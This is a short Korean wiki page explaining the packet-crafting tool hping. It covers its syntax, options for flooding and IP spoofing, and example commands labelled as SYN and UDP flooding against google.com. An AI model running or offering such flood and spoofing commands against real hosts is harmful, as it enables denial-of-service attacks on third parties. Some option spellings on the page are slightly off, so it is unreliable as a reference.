Hping

From CS Wiki
hping은 패킷을 만들어 보낼 수 있는 툴이다. 상상할 수 있는 어떤 종류의 패킷이라도 사용할 수 있다. DoS 공격에 활용되기도 한다.

사용법[edit | edit source]

Hping을 다운로드 받은 뒤 다음과 같이 사용한다:

  • hping[2 or 3] [TARGET] -p [PORT] -i u30000 [PACKET TYPE] [OTHER OPTIONS]

[TARGET]은 IP나 도메인이 될 수 있으며 포트는 알아서 정한다. [PACKET TYPE]는:

  • SYN 패킷을 보내기 위한 -S
  • ACK 패킷을 보내기 위한 -A
  • SYN/ACK 패킷을 보내기 위한 -S -A

OTHER OPTIONS는 다음과 같다:

  • UDP 패킷을 보내기 위한 -udp
  • 결과를 출력하지 않기 위한 -q -아주아주아주 조금 빨라짐
  • -c [숫자]. 숫자만큼의 패킷을 보낸다.
  • -flood 그냥 막 보낸다.
  • -i u30000 30ms에 한 번 씩 패킷을 보낸다. 30000은 예일 뿐.
  • -a [IP] 당신의 IP를 속인다. 응답 패킷을 산더미처럼 받기 싫으면 쓰는 것이 좋다.
  • --rand-source 아무렇게나 랜덤한 IP로 속여 패킷을 보낸다.

예제[edit | edit source]

구글로 SYN Flooding을 한다:

  • hping2 google.com -p 80 -i u30000 -S

구글로 UDP Flooding을 한다:

  • hping3 google.com -p 80 -i u30000 --udp

같이 보기[edit | edit source]

참고 문헌[edit | edit source]